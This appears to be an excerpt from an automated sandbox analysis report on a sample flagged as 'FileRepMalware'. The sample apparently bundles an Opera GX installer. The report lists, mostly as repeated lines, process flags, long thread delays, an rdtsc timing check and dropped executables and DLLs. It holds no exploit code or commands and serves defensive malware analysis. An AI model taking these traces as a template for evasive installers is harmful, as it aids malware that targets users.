      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_1.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\autoupdate\opera_autoupdate.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeProcess information set: NOOPENFILEERRORBOX
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\assistant_installer.exeCode function: 20_2_0075A6D0 rdtsc 20_2_0075A6D0
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\opera.exeThread delayed: delay time: 922337203685477
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4905Jump to behavior
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4841Jump to behavior
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\launcher.exe.1728808435.old (copy)Jump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\win10_share_handler.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\mojo_core.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\_isetup\_setup64.tmpJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\dxcompiler.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Opera_installer_2410130833545532052.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\installer_helper_64.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Opera_installer_2410130831026207884.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\assistant_packageJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_browser.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\vulkan-1.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\d3dcompiler_47.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\dxil.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\CUESDK.x64_2017.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\libGLESv2.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\is-1Q533.tmp\SecuriteInfo.com.FileRepMalware.27261.32754.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\idp.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\opera_elf.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Opera_installer_2410130831047078088.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\opera_package_202410130431041\assistant\browser_assistant.exeJump to dropped file
      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-GJEPE.tmp\f_2.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\launcher.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\.opera\Opera GX Installer Temp\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Opera_installer_2410130831037218040.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\win8_importing.dllJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Opera_GX_114.0.5282.93_Autoupdate_x64[1].exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\notification_helper.exeJump to dropped file
      Source: C:\Users\user\AppData\Local\Temp\7zSC6E64E0A\setup.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\Opera GX\114.0.5282.93\mojo_core.dllJump to dropped file
